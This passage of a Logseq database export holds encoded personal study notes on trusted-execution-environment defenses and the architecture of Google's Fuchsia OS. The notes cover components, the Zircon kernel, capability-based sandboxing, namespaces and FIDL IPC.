TEE)logseq____",536878767]],[logseq____"^15logseq____",[1005,logseq____"^Ologseq____",logseq____"^16logseq____",536878748]],[logseq____"^15logseq____",[1005,logseq____"^@logseq____",false,536878748]],[logseq____"^15logseq____",[1005,logseq____"^Flogseq____",1004,536878748]],[logseq____"^15logseq____",[1005,logseq____"^Xlogseq____",998,536878748]],[logseq____"^15logseq____",[1005,logseq____"^Vlogseq____",998,536878748]],[logseq____"^15logseq____",[1005,logseq____"^Ulogseq____",998,536878749]],[logseq____"^15logseq____",[1005,logseq____"^?logseq____",[logseq____"^ logseq____"],536878767]],[logseq____"^15logseq____",[1005,logseq____"^;logseq____",logseq____"~u67bd8a1a-4b8c-4e65-912c-bfb0edee5763logseq____",536878748]],[logseq____"^15logseq____",[1006,logseq____"^Qlogseq____",logseq____"## Defenseslogseq____",536878782]],[logseq____"^15logseq____",[1006,logseq____"^Ologseq____",logseq____"^16logseq____",536878770]],[logseq____"^15logseq____",[1006,logseq____"^@logseq____",false,536878770]],[logseq____"^15logseq____",[1006,logseq____"^Flogseq____",1005,536878770]],[logseq____"^15logseq____",[1006,logseq____"^Xlogseq____",998,536878770]],[logseq____"^15logseq____",[1006,logseq____"^Vlogseq____",998,536878770]],[logseq____"^15logseq____",[1006,logseq____"^Ulogseq____",998,536878779]],[logseq____"^15logseq____",[1006,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536878782]],[logseq____"^15logseq____",[1006,logseq____"^Jlogseq____",[logseq____"^14logseq____",[]],536878782]],[logseq____"^15logseq____",[1006,logseq____"^;logseq____",logseq____"~u67bd8a4e-2ca1-439b-9099-323a114155e0logseq____",536878770]],[logseq____"^15logseq____",[1008,logseq____"^Qlogseq____",logseq____"Decouple REE and TEE (less resource sharing)logseq____",536878805]],[logseq____"^15logseq____",[1008,logseq____"^Ologseq____",logseq____"^16logseq____",536878782]],[logseq____"^15logseq____",[1008,logseq____"^@logseq____",false,536878782]],[logseq____"^15logseq____",[1008,logseq____"^Flogseq____",1006,536878782]],[logseq____"^15logseq____",[1008,logseq____"^Xlogseq____",998,536878782]],[logseq____"^15logseq____",[1008,logseq____"^Vlogseq____",1006,536878784]],[logseq____"^15logseq____",[1008,logseq____"^Ulogseq____",998,536878783]],[logseq____"^15logseq____",[1008,logseq____"^?logseq____",[logseq____"^ logseq____"],536878805]],[logseq____"^15logseq____",[1008,logseq____"^;logseq____",logseq____"~u67bd8a56-2bc2-453f-bba6-c3cb88fa9181logseq____",536878782]],[logseq____"^15logseq____",[1010,logseq____"^Qlogseq____",logseq____"Multiple TEEs (task and secret separation)logseq____",536878830]],[logseq____"^15logseq____",[1010,logseq____"^Ologseq____",logseq____"^16logseq____",536878806]],[logseq____"^15logseq____",[1010,logseq____"^@logseq____",false,536878806]],[logseq____"^15logseq____",[1010,logseq____"^Flogseq____",1008,536878806]],[logseq____"^15logseq____",[1010,logseq____"^Xlogseq____",998,536878806]],[logseq____"^15logseq____",[1010,logseq____"^Vlogseq____",1006,536878806]],[logseq____"^15logseq____",[1010,logseq____"^Ulogseq____",998,536878807]],[logseq____"^15logseq____",[1010,logseq____"^?logseq____",[logseq____"^ logseq____"],536878830]],[logseq____"^15logseq____",[1010,logseq____"^;logseq____",logseq____"~u67bd8a69-11f4-4172-bf67-28d0d0cb9ef1logseq____",536878806]],[logseq____"^15logseq____",[1011,logseq____"^Qlogseq____",logseq____"StrongBox Keymaster: Keystore with dedicated HSMlogseq____",536878852]],[logseq____"^15logseq____",[1011,logseq____"^Ologseq____",logseq____"^16logseq____",536878831]],[logseq____"^15logseq____",[1011,logseq____"^@logseq____",false,536878831]],[logseq____"^15logseq____",[1011,logseq____"^Flogseq____",1010,536878831]],[logseq____"^15logseq____",[1011,logseq____"^Xlogseq____",998,536878831]],[logseq____"^15logseq____",[1011,logseq____"^Vlogseq____",1006,536878831]],[logseq____"^15logseq____",[1011,logseq____"^Ulogseq____",998,536878832]],[logseq____"^15logseq____",[1011,logseq____"^?logseq____",[logseq____"^ logseq____"],536878852]],[logseq____"^15logseq____",[1011,logseq____"^;logseq____",logseq____"~u67bd8a7b-0f67-43ca-9d34-cdadd54d53f0logseq____",536878831]],[logseq____"^15logseq____",[1012,logseq____"^Qlogseq____",logseq____"## [[Fuchsia 101]]logseq____",536878868]],[logseq____"^15logseq____",[1012,logseq____"^Ologseq____",logseq____"^16logseq____",536878861]],[logseq____"^15logseq____",[1012,logseq____"^@logseq____",false,536878861]],[logseq____"^15logseq____",[1012,logseq____"^Flogseq____",997,536878861]],[logseq____"^15logseq____",[1012,logseq____"^Xlogseq____",296,536878861]],[logseq____"^15logseq____",[1012,logseq____"^Vlogseq____",997,536878863]],[logseq____"^15logseq____",[1012,logseq____"^Ulogseq____",296,536878869]],[logseq____"^15logseq____",[1012,logseq____"^Ulogseq____",1013,536878869]],[logseq____"^15logseq____",[1012,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536878868]],[logseq____"^15logseq____",[1012,logseq____"^Jlogseq____",[logseq____"^14logseq____",[]],536878868]],[logseq____"^15logseq____",[1012,logseq____"^Hlogseq____",1013,536878868]],[logseq____"^15logseq____",[1012,logseq____"^;logseq____",logseq____"~u67bd8b0e-a29e-41b9-85c1-8f52d993da6dlogseq____",536878861]],[logseq____"^15logseq____",[1013,logseq____"^Klogseq____",1740475581438,536878868]],[logseq____"^15logseq____",[1013,logseq____"^Ologseq____",logseq____"^16logseq____",536878872]],[logseq____"^15logseq____",[1013,logseq____"^@logseq____",false,536878868]],[logseq____"^15logseq____",[1013,logseq____"^Ylogseq____",logseq____"fuchsia 101logseq____",536878868]],[logseq____"^15logseq____",[1013,logseq____"^11logseq____",logseq____"Fuchsia 101logseq____",536878868]],[logseq____"^15logseq____",[1013,logseq____"^Blogseq____",1740477690607,536879785]],[logseq____"^15logseq____",[1013,logseq____"^;logseq____",logseq____"~u67bd8cbd-ffa0-424c-9d15-831f57bc3f0elogseq____",536878868]],[logseq____"^15logseq____",[1014,logseq____"^Qlogseq____",logseq____"## General Informationlogseq____",536878889]],[logseq____"^15logseq____",[1014,logseq____"^Ologseq____",logseq____"^16logseq____",536878873]],[logseq____"^15logseq____",[1014,logseq____"^@logseq____",false,536878873]],[logseq____"^15logseq____",[1014,logseq____"^Flogseq____",1013,536878873]],[logseq____"^15logseq____",[1014,logseq____"^Xlogseq____",1013,536878873]],[logseq____"^15logseq____",[1014,logseq____"^Vlogseq____",1013,536878873]],[logseq____"^15logseq____",[1014,logseq____"^Ulogseq____",1013,536878874]],[logseq____"^15logseq____",[1014,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536878889]],[logseq____"^15logseq____",[1014,logseq____"^Jlogseq____",[logseq____"^14logseq____",[]],536878889]],[logseq____"^15logseq____",[1014,logseq____"^;logseq____",logseq____"~u67bd8cbf-df29-4802-b0ec-f88b9edb4aeelogseq____",536878873]],[logseq____"^15logseq____",[1017,logseq____"^Qlogseq____",logseq____"Designed from scratch for security, updateability and supportlogseq____",536878917]],[logseq____"^15logseq____",[1017,logseq____"^Ologseq____",logseq____"^16logseq____",536878889]],[logseq____"^15logseq____",[1017,logseq____"^@logseq____",false,536878889]],[logseq____"^15logseq____",[1017,logseq____"^Flogseq____",1014,536878889]],[logseq____"^15logseq____",[1017,logseq____"^Xlogseq____",1013,536878889]],[logseq____"^15logseq____",[1017,logseq____"^Vlogseq____",1014,536878891]],[logseq____"^15logseq____",[1017,logseq____"^Ulogseq____",1013,536878890]],[logseq____"^15logseq____",[1017,logseq____"^?logseq____",[logseq____"^ logseq____"],536878917]],[logseq____"^15logseq____",[1017,logseq____"^;logseq____",logseq____"~u67bd8d26-da75-465a-929f-b86ca59cc78blogseq____",536878889]],[logseq____"^15logseq____",[1018,logseq____"^Qlogseq____",logseq____"### Terminology:logseq____",536878930]],[logseq____"^15logseq____",[1018,logseq____"^Ologseq____",logseq____"^16logseq____",536878920]],[logseq____"^15logseq____",[1018,logseq____"^@logseq____",false,536878920]],[logseq____"^15logseq____",[1018,logseq____"^Flogseq____",1017,536878920]],[logseq____"^15logseq____",[1018,logseq____"^Xlogseq____",1013,536878920]],[logseq____"^15logseq____",[1018,logseq____"^Vlogseq____",1014,536878920]],[logseq____"^15logseq____",[1018,logseq____"^Ulogseq____",1013,536878921]],[logseq____"^15logseq____",[1018,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",3],536878930]],[logseq____"^15logseq____",[1018,logseq____"^Jlogseq____",[logseq____"^14logseq____",[]],536878930]],[logseq____"^15logseq____",[1018,logseq____"^;logseq____",logseq____"~u67bd8d43-8437-4a83-82f7-685b48b9e44flogseq____",536878920]],[logseq____"^15logseq____",[1019,logseq____"^Qlogseq____",logseq____"*Component*logseq____",536879363]],[logseq____"^15logseq____",[1019,logseq____"^Ologseq____",logseq____"^16logseq____",536878931]],[logseq____"^15logseq____",[1019,logseq____"^@logseq____",false,536878931]],[logseq____"^15logseq____",[1019,logseq____"^Flogseq____",1018,536878931]],[logseq____"^15logseq____",[1019,logseq____"^Xlogseq____",1013,536878931]],[logseq____"^15logseq____",[1019,logseq____"^Vlogseq____",1018,536878937]],[logseq____"^15logseq____",[1019,logseq____"^Ulogseq____",1013,536878932]],[logseq____"^15logseq____",[1019,logseq____"^?logseq____",[logseq____"^ logseq____"],536879363]],[logseq____"^15logseq____",[1019,logseq____"^;logseq____",logseq____"~u67bd8d58-f2c8-4cc9-bb61-485b48554a63logseq____",536878931]],[logseq____"^15logseq____",[1020,logseq____"^Qlogseq____",logseq____"*Apps*: set of components that run in independent runimes called Runnerslogseq____",536879001]],[logseq____"^15logseq____",[1020,logseq____"^Ologseq____",logseq____"^16logseq____",536878970]],[logseq____"^15logseq____",[1020,logseq____"^@logseq____",false,536878970]],[logseq____"^15logseq____",[1020,logseq____"^Flogseq____",1019,536879358]],[logseq____"^15logseq____",[1020,logseq____"^Xlogseq____",1013,536878970]],[logseq____"^15logseq____",[1020,logseq____"^Vlogseq____",1018,536878970]],[logseq____"^15logseq____",[1020,logseq____"^Ulogseq____",1013,536878971]],[logseq____"^15logseq____",[1020,logseq____"^?logseq____",[logseq____"^ logseq____"],536879001]],[logseq____"^15logseq____",[1020,logseq____"^;logseq____",logseq____"~u67bd8d80-c02b-41b7-94bb-a62823392d50logseq____",536878970]],[logseq____"^15logseq____",[1021,logseq____"^Qlogseq____",logseq____"*Runner*: can either execute binaries, render web pages or run compiled code inside a VMlogseq____",536879026]],[logseq____"^15logseq____",[1021,logseq____"^Ologseq____",logseq____"^16logseq____",536879001]],[logseq____"^15logseq____",[1021,logseq____"^@logseq____",false,536879001]],[logseq____"^15logseq____",[1021,logseq____"^Flogseq____",1020,536879001]],[logseq____"^15logseq____",[1021,logseq____"^Xlogseq____",1013,536879001]],[logseq____"^15logseq____",[1021,logseq____"^Vlogseq____",1018,536879001]],[logseq____"^15logseq____",[1021,logseq____"^Ulogseq____",1013,536879002]],[logseq____"^15logseq____",[1021,logseq____"^?logseq____",[logseq____"^ logseq____"],536879026]],[logseq____"^15logseq____",[1021,logseq____"^;logseq____",logseq____"~u67bd8d9d-81b0-4d48-917f-32284314bb76logseq____",536879001]],[logseq____"^15logseq____",[1022,logseq____"^Qlogseq____",logseq____"*Package*: Apps distribued through platform-independent format (cryptographically signed tree of BLOBs), stored on content-addressable fs (`blobfs`) with deduplication and cryptographic hash verification of fileslogseq____",536879102]],[logseq____"^15logseq____",[1022,logseq____"^Ologseq____",logseq____"^16logseq____",536879029]],[logseq____"^15logseq____",[1022,logseq____"^@logseq____",false,536879029]],[logseq____"^15logseq____",[1022,logseq____"^Flogseq____",1021,536879029]],[logseq____"^15logseq____",[1022,logseq____"^Xlogseq____",1013,536879029]],[logseq____"^15logseq____",[1022,logseq____"^Vlogseq____",1018,536879029]],[logseq____"^15logseq____",[1022,logseq____"^Ulogseq____",1013,536879030]],[logseq____"^15logseq____",[1022,logseq____"^?logseq____",[logseq____"^ logseq____"],536879102]],[logseq____"^15logseq____",[1022,logseq____"^;logseq____",logseq____"~u67bd8dbc-20ec-407b-abb6-26507cad2e45logseq____",536879029]],[logseq____"^15logseq____",[1023,logseq____"^Qlogseq____",logseq____"## Architecturelogseq____",536879113]],[logseq____"^15logseq____",[1023,logseq____"^Ologseq____",logseq____"^16logseq____",536879105]],[logseq____"^15logseq____",[1023,logseq____"^@logseq____",false,536879105]],[logseq____"^15logseq____",[1023,logseq____"^Flogseq____",1014,536879108]],[logseq____"^15logseq____",[1023,logseq____"^Xlogseq____",1013,536879105]],[logseq____"^15logseq____",[1023,logseq____"^Vlogseq____",1013,536879108]],[logseq____"^15logseq____",[1023,logseq____"^Ulogseq____",1013,536879106]],[logseq____"^15logseq____",[1023,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536879113]],[logseq____"^15logseq____",[1023,logseq____"^Jlogseq____",[logseq____"^14logseq____",[]],536879113]],[logseq____"^15logseq____",[1023,logseq____"^;logseq____",logseq____"~u67bd8e3d-d6f5-4bb9-90a6-cee543b952d9logseq____",536879105]],[logseq____"^15logseq____",[1024,logseq____"^Qlogseq____",logseq____"*Zicron*: capability-based, object-oriented kernel (offers IPC, scheduling and memory management)logseq____",536879148]],[logseq____"^15logseq____",[1024,logseq____"^Ologseq____",logseq____"^16logseq____",536879114]],[logseq____"^15logseq____",[1024,logseq____"^@logseq____",false,536879114]],[logseq____"^15logseq____",[1024,logseq____"^Flogseq____",1023,536879114]],[logseq____"^15logseq____",[1024,logseq____"^Xlogseq____",1013,536879114]],[logseq____"^15logseq____",[1024,logseq____"^Vlogseq____",1023,536879116]],[logseq____"^15logseq____",[1024,logseq____"^Ulogseq____",1013,536879115]],[logseq____"^15logseq____",[1024,logseq____"^?logseq____",[logseq____"^ logseq____"],536879148]],[logseq____"^15logseq____",[1024,logseq____"^;logseq____",logseq____"~u67bd8e41-c7a6-4645-9ea2-1eb850c6905flogseq____",536879114]],[logseq____"^15logseq____",[1025,logseq____"^Qlogseq____",logseq____"Other system components implemented in user-space and isolated using ((67b73cc0-6cc9-4099-81fe-fb696e04c2e6))logseq____",536879171]],[logseq____"^15logseq____",[1025,logseq____"^Ologseq____",logseq____"^16logseq____",536879149]],[logseq____"^15logseq____",[1025,logseq____"^@logseq____",false,536879149]],[logseq____"^15logseq____",[1025,logseq____"^Flogseq____",1024,536879149]],[logseq____"^15logseq____",[1025,logseq____"^Xlogseq____",1013,536879149]],[logseq____"^15logseq____",[1025,logseq____"^Vlogseq____",1023,536879149]],[logseq____"^15logseq____",[1025,logseq____"^Ulogseq____",234,536879172]],[logseq____"^15logseq____",[1025,logseq____"^Ulogseq____",1013,536879172]],[logseq____"^15logseq____",[1025,logseq____"^?logseq____",[logseq____"^ logseq____"],536879171]],[logseq____"^15logseq____",[1025,logseq____"^Hlogseq____",234,536879171]],[logseq____"^15logseq____",[1025,logseq____"^;logseq____",logseq____"~u67bd8e74-b3a9-4356-8545-dd8dd7d53f7alogseq____",536879149]],[logseq____"^15logseq____",[1026,logseq____"^Qlogseq____",logseq____"### Software Isolationlogseq____",536879188]],[logseq____"^15logseq____",[1026,logseq____"^Ologseq____",logseq____"^16logseq____",536879175]],[logseq____"^15logseq____",[1026,logseq____"^@logseq____",false,536879175]],[logseq____"^15logseq____",[1026,logseq____"^Flogseq____",1025,536879185]],[logseq____"^15logseq____",[1026,logseq____"^Xlogseq____",1013,536879175]],[logseq____"^15logseq____",[1026,logseq____"^Vlogseq____",1023,536879185]],[logseq____"^15logseq____",[1026,logseq____"^Ulogseq____",1013,536879176]],[logseq____"^15logseq____",[1026,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",3],536879188]],[logseq____"^15logseq____",[1026,logseq____"^Jlogseq____",[logseq____"^14logseq____",[]],536879188]],[logseq____"^15logseq____",[1026,logseq____"^;logseq____",logseq____"~u67bd8e99-3b53-47e5-a863-16e21ba9aabdlogseq____",536879175]],[logseq____"^15logseq____",[1027,logseq____"^Qlogseq____",logseq____"Capability-based: handles process-local references to kernel-space objects declaring privileges/rightslogseq____",536879225]],[logseq____"^15logseq____",[1027,logseq____"^Ologseq____",logseq____"^16logseq____",536879188]],[logseq____"^15logseq____",[1027,logseq____"^@logseq____",false,536879188]],[logseq____"^15logseq____",[1027,logseq____"^Flogseq____",1026,536879188]],[logseq____"^15logseq____",[1027,logseq____"^Xlogseq____",1013,536879188]],[logseq____"^15logseq____",[1027,logseq____"^Vlogseq____",1026,536879190]],[logseq____"^15logseq____",[1027,logseq____"^Ulogseq____",1013,536879189]],[logseq____"^15logseq____",[1027,logseq____"^?logseq____",[logseq____"^ logseq____"],536879225]],[logseq____"^15logseq____",[1027,logseq____"^;logseq____",logseq____"~u67bd8ecc-98d0-4bcf-bfe1-263f2edbcafdlogseq____",536879188]],[logseq____"^15logseq____",[1028,logseq____"^Qlogseq____",logseq____"Sandboxing: Processes rely on passing capabilities from creator (no ((67b7665b-d447-4148-968c-5e162ec8c3fc)))logseq____",536879288]],[logseq____"^15logseq____",[1028,logseq____"^Ologseq____",logseq____"^16logseq____",536879225]],[logseq____"^15logseq____",[1028,logseq____"^@logseq____",false,536879225]],[logseq____"^15logseq____",[1028,logseq____"^Flogseq____",1027,536879225]],[logseq____"^15logseq____",[1028,logseq____"^Xlogseq____",1013,536879225]],[logseq____"^15logseq____",[1028,logseq____"^Vlogseq____",1026,536879225]],[logseq____"^15logseq____",[1028,logseq____"^Ulogseq____",60,536879273]],[logseq____"^15logseq____",[1028,logseq____"^Ulogseq____",1013,536879273]],[logseq____"^15logseq____",[1028,logseq____"^?logseq____",[logseq____"^ logseq____"],536879288]],[logseq____"^15logseq____",[1028,logseq____"^Hlogseq____",60,536879288]],[logseq____"^15logseq____",[1028,logseq____"^;logseq____",logseq____"~u67bd8ef8-c02b-41b2-8893-914abc1f5c65logseq____",536879225]],[logseq____"^15logseq____",[1029,logseq____"^Qlogseq____",logseq____"Namespaces: private view controlling system influence from process (per-component hierarchy, filesystem, sockets, services, devices and named objects); Objects populated by creator process based on capabilitieslogseq____",536879346]],[logseq____"^15logseq____",[1029,logseq____"^Ologseq____",logseq____"^16logseq____",536879291]],[logseq____"^15logseq____",[1029,logseq____"^@logseq____",false,536879291]],[logseq____"^15logseq____",[1029,logseq____"^Flogseq____",1028,536879291]],[logseq____"^15logseq____",[1029,logseq____"^Xlogseq____",1013,536879291]],[logseq____"^15logseq____",[1029,logseq____"^Vlogseq____",1026,536879291]],[logseq____"^15logseq____",[1029,logseq____"^Ulogseq____",1013,536879292]],[logseq____"^15logseq____",[1029,logseq____"^?logseq____",[logseq____"^ logseq____"],536879346]],[logseq____"^15logseq____",[1029,logseq____"^;logseq____",logseq____"~u67bd8f46-e944-4043-a7c2-1d54f3f21c00logseq____",536879291]],[logseq____"^15logseq____",[1030,logseq____"^Qlogseq____",logseq____"common abstraction defining how each piece of software is described and executedlogseq____",536879356]],[logseq____"^15logseq____",[1030,logseq____"^Ologseq____",logseq____"^16logseq____",536879356]],[logseq____"^15logseq____",[1030,logseq____"^@logseq____",false,536879356]],[logseq____"^15logseq____",[1030,logseq____"^Flogseq____",1019,536879356]],[logseq____"^15logseq____",[1030,logseq____"^Xlogseq____",1013,536879356]],[logseq____"^15logseq____",[1030,logseq____"^Vlogseq____",1019,536879358]],[logseq____"^15logseq____",[1030,logseq____"^Ulogseq____",1013,536879364]],[logseq____"^15logseq____",[1030,logseq____"^?logseq____",[logseq____"^ logseq____"],536879356]],[logseq____"^15logseq____",[1030,logseq____"^;logseq____",logseq____"~u67bd8fb7-5f9c-4f50-9587-14477c21b959logseq____",536879356]],[logseq____"^15logseq____",[1031,logseq____"^Qlogseq____",logseq____"Uniquely identified by URLlogseq____",536879374]],[logseq____"^15logseq____",[1031,logseq____"^Ologseq____",logseq____"^16logseq____",536879367]],[logseq____"^15logseq____",[1031,logseq____"^@logseq____",false,536879367]],[logseq____"^15logseq____",[1031,logseq____"^Flogseq____",1030,536879367]],[logseq____"^15logseq____",[1031,logseq____"^Xlogseq____",1013,536879367]],[logseq____"^15logseq____",[1031,logseq____"^Vlogseq____",1019,536879367]],[logseq____"^15logseq____",[1031,logseq____"^Ulogseq____",1013,536879368]],[logseq____"^15logseq____",[1031,logseq____"^?logseq____",[logseq____"^ logseq____"],536879374]],[logseq____"^15logseq____",[1031,logseq____"^;logseq____",logseq____"~u67bd8fbb-304c-4fc7-b972-241b1c3265celogseq____",536879367]],[logseq____"^15logseq____",[1032,logseq____"^Qlogseq____",logseq____"Component Manager: responsible for component execution coordinationlogseq____",536879396]],[logseq____"^15logseq____",[1032,logseq____"^Ologseq____",logseq____"^16logseq____",536879377]],[logseq____"^15logseq____",[1032,logseq____"^@logseq____",false,536879377]],[logseq____"^15logseq____",[1032,logseq____"^Flogseq____",1031,536879377]],[logseq____"^15logseq____",[1032,logseq____"^Xlogseq____",1013,536879377]],[logseq____"^15logseq____",[1032,logseq____"^Vlogseq____",1019,536879377]],[logseq____"^15logseq____",[1032,logseq____"^Ulogseq____",1013,536879378]],[logseq____"^15logseq____",[1032,logseq____"^?logseq____",[logseq____"^ logseq____"],536879396]],[logseq____"^15logseq____",[1032,logseq____"^;logseq____",logseq____"~u67bd8fc2-9fdf-4cd4-bb9e-e69bafacd579logseq____",536879377]],[logseq____"^15logseq____",[1033,logseq____"^Qlogseq____",logseq____"Parent components responsible for creating and managing (capabilities) instances of child components =logseq____> *component instance tree*logseq____",536879442]],[logseq____"^15logseq____",[1033,logseq____"^Ologseq____",logseq____"^16logseq____",536879399]],[logseq____"^15logseq____",[1033,logseq____"^@logseq____",false,536879399]],[logseq____"^15logseq____",[1033,logseq____"^Flogseq____",1026,536879401]],[logseq____"^15logseq____",[1033,logseq____"^Xlogseq____",1013,536879399]],[logseq____"^15logseq____",[1033,logseq____"^Vlogseq____",1023,536879401]],[logseq____"^15logseq____",[1033,logseq____"^Ulogseq____",1013,536879400]],[logseq____"^15logseq____",[1033,logseq____"^?logseq____",[logseq____"^ logseq____"],536879442]],[logseq____"^15logseq____",[1033,logseq____"^;logseq____",logseq____"~u67bd9032-c62b-4f00-8a03-f83099f18dd4logseq____",536879399]],[logseq____"^15logseq____",[1034,logseq____"^Qlogseq____",logseq____"*Realm*: Component and its childrenlogseq____",536879456]],[logseq____"^15logseq____",[1034,logseq____"^Ologseq____",logseq____"^16logseq____",536879445]],[logseq____"^15logseq____",[1034,logseq____"^@logseq____",false,536879445]],[logseq____"^15logseq____",[1034,logseq____"^Flogseq____",1032,536879459]],[logseq____"^15logseq____",[1034,logseq____"^Xlogseq____",1013,536879445]],[logseq____"^15logseq____",[1034,logseq____"^Vlogseq____",1019,536879459]],[logseq____"^15logseq____",[1034,logseq____"^Ulogseq____",1013,536879446]],[logseq____"^15logseq____",[1034,logseq____"^?logseq____",[logseq____"^ logseq____"],536879456]],[logseq____"^15logseq____",[1034,logseq____"^;logseq____",logseq____"~u67bd9067-a60f-48c9-8737-6acbdab2c13alogseq____",536879445]],[logseq____"^15logseq____",[1035,logseq____"^Qlogseq____",logseq____"Can declare offered capabilitieslogseq____",536879481]],[logseq____"^15logseq____",[1035,logseq____"^Ologseq____",logseq____"^16logseq____",536879462]],[logseq____"^15logseq____",[1035,logseq____"^@logseq____",false,536879462]],[logseq____"^15logseq____",[1035,logseq____"^Flogseq____",1033,536879462]],[logseq____"^15logseq____",[1035,logseq____"^Xlogseq____",1013,536879462]],[logseq____"^15logseq____",[1035,logseq____"^Vlogseq____",1023,536879462]],[logseq____"^15logseq____",[1035,logseq____"^Ulogseq____",1013,536879463]],[logseq____"^15logseq____",[1035,logseq____"^?logseq____",[logseq____"^ logseq____"],536879481]],[logseq____"^15logseq____",[1035,logseq____"^;logseq____",logseq____"~u67bd90ab-6397-475c-9001-b15cc72f93b2logseq____",536879462]],[logseq____"^15logseq____",[1036,logseq____"^Qlogseq____",logseq____"Request capabilities for program runtimelogseq____",536879503]],[logseq____"^15logseq____",[1036,logseq____"^Ologseq____",logseq____"^16logseq____",536879484]],[logseq____"^15logseq____",[1036,logseq____"^@logseq____",false,536879484]],[logseq____"^15logseq____",[1036,logseq____"^Flogseq____",1035,536879484]],[logseq____"^15logseq____",[1036,logseq____"^Xlogseq____",1013,536879484]],[logseq____"^15logseq____",[1036,logseq____"^Vlogseq____",1023,536879484]],[logseq____"^15logseq____",[1036,logseq____"^Ulogseq____",1013,536879485]],[logseq____"^15logseq____",[1036,logseq____"^?logseq____",[logseq____"^ logseq____"],536879503]],[logseq____"^15logseq____",[1036,logseq____"^;logseq____",logseq____"~u67bd90eb-fafd-4001-86ac-95ce7711db24logseq____",536879484]],[logseq____"^15logseq____",[1037,logseq____"^Qlogseq____",logseq____"IPC via FIDL (Fuchsia Interface Definition Language): allows for exposing a set of functionalities to other processes, Sercive starts server responding to IPC callslogseq____",536879550]],[logseq____"^15logseq____",[1037,logseq____"^Ologseq____",logseq____"^16logseq____",536879506]],[logseq____"^15logseq____",[1037,logseq____"^@logseq____",false,536879506]],[logseq____"^15logseq____",[1037,logseq____"^Flogseq____",1036,536879506]],[logseq____"^15logseq____",[1037,logseq____"^Xlogseq____",1013,536879506]],[logseq____"^15logseq____",[1037,logseq____"^Vlogseq____",1023,536879506]],[logseq____"^15logseq____",[1037,logseq____"^Ulogseq____",1013,536879507]],[logseq____"^15logseq____",[1037,logseq____"^?logseq____",[logseq____"^ logseq____"],536879550]],[logseq____"^15logseq____",[1037,logseq____"^;logseq____",logseq____"~u67bd9106-209d-480f-88e5-4c2f5b24d019logseq____",536879506]],[logseq____"^15logseq____",[1038,logseq____"^Qlogseq____",logseq____"## Capabilitieslogseq____",536879560]],[logseq____"^15logseq____",[1038,logseq____"^Ologseq____",logseq____"^16logseq____",536879553]],[logseq____"^15logseq____",[1038,logseq____"^@logseq____",false,536879553]],[logseq____"^15logseq____",[1038,logseq____"^Flogseq____",1023,536879555]],[logseq____"^15logseq____",[1038,logseq____"^Xlogseq____",1013,536879553]],[logseq____"^15logseq____",[1038,logseq____"^Vlogseq____",1013,536879555]],[logseq____"^15logseq____",[1038,logseq____"^Ulogseq____",1013,536879554]],[logseq____"^15logseq____",[1038,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536879560]],[logseq____"^15logseq____",[1038,logseq____"^Jlogseq____",[logseq____"^14logseq____",[]],536879560]],[logseq____"^15logseq____",[1038,logseq____"^;logseq____",logseq____"~u67bd9178-92b4-4b6a-a5f6-f804b6178d7flogseq____",536879553]],[logseq____"^15logseq____",[1039,logseq____"^Qlogseq____",logseq____"Capabilities can be declared, exposed (to parent) or offered to childrenlogseq____",536879576]],[logseq____"^15logseq____",[1039,logseq____"^Ologseq____",logseq____"^16logseq____",536879560]],[logseq____"^15logseq____",[1039,logseq____"^@logseq____",false,536879560]],[logseq____"^15logseq____",[1039,logseq____"^Flogseq____",1038,536879560]],[logseq____"^15logseq____",[1039,logseq____"^Xlogseq____",1013,536879560]],[logseq____"^15logseq____",[1039,logseq____"^Vlogseq____",1038,536879562]],[logseq____"^15logseq____",[1039,logseq____"^Ulogseq____",1013,536879561]],[logseq____"^15logseq____",[1039,logseq____"^?logseq____",[logseq____"^ logseq____"],536879576]],[logseq____"^15logseq____",[1039,logseq____"^;logseq____",logseq____"~u67bd917c-7770-4e2d-bfec-78fe3ebabd04logseq____",536879560]],[logseq____"^15logseq____",[1040,logseq____"^Qlogseq____",logseq____"Capability requests are resolved via Component Manager (craetes a IPC channel, delegates IPC handels to client and server namespace)logseq____",536879636]],[logseq____"^15logseq____",[1040,logseq____"^Ologseq____",logseq____"^16logseq____",536879579]],[logseq____"^15logseq____",[1040,logseq____"^@logseq____",false,536879579]],[logseq____"^15logseq____",[1040,logseq____"^Flogseq____",1039,536879579]],[logseq____"^15logseq____",[1040,logseq____"^Xlogseq____",1013,536879579]],[logseq____"^15logseq____",[1040,logseq____"^Vlogseq____",1038,536879579]],[logseq____"^15logseq____",[1040,logseq____"^Ulogseq____",1013,536879580]],[logseq____"^15logseq____",[1040,logseq____"^?logseq____",[logseq____"^ logseq____"],536879636]],[logseq____"^15logseq____",[1040,logseq____"^;logseq____",logseq____"~u67bd91ab-7ddc-4450-aba0-1a2d5ff69982logseq____",536879579]],[logseq____"^15logseq____",[1041,logseq____"^Qlogseq____",logseq____"Capabilities are routed via Fuchsia and then delegated via Zicronlogseq____",536879657]],[logseq____"^15logseq____",[1041,logseq____"^Ologseq____",logseq____"^16logseq____",536879592]],[logseq____"^15logseq____",[1041,logseq____"^@logseq____",false,536879592]],[logseq____"^15logseq____",[1041,logseq____"^Flogseq____",1040,536879592]],[logseq____"^15logseq____",[1041,logseq____"^Xlogseq____",1013,536879592]],[logseq____"^15logseq____",[1041,logseq____"^Vlogseq____",1038,536879592]],[logseq____"^15logseq____",[1041,logseq____"^Ulogseq____",1013,536879593]],[logseq____"^15logseq____",[1041,logseq____"^?logseq____",[logseq____"^ logseq____"],536879657]],[logseq____"^15logseq____",[1041,logseq____"^;logseq____",logseq____"~u67bd91cd-59dc-4cc7-97d0-9a7527ec21e9logseq____",536879592]],[logseq____"^15logseq____",[1043,logseq____"^Qlogseq____",logseq____"*Environment*: configure framework choices, e.g., runner and resolver capabilities of a 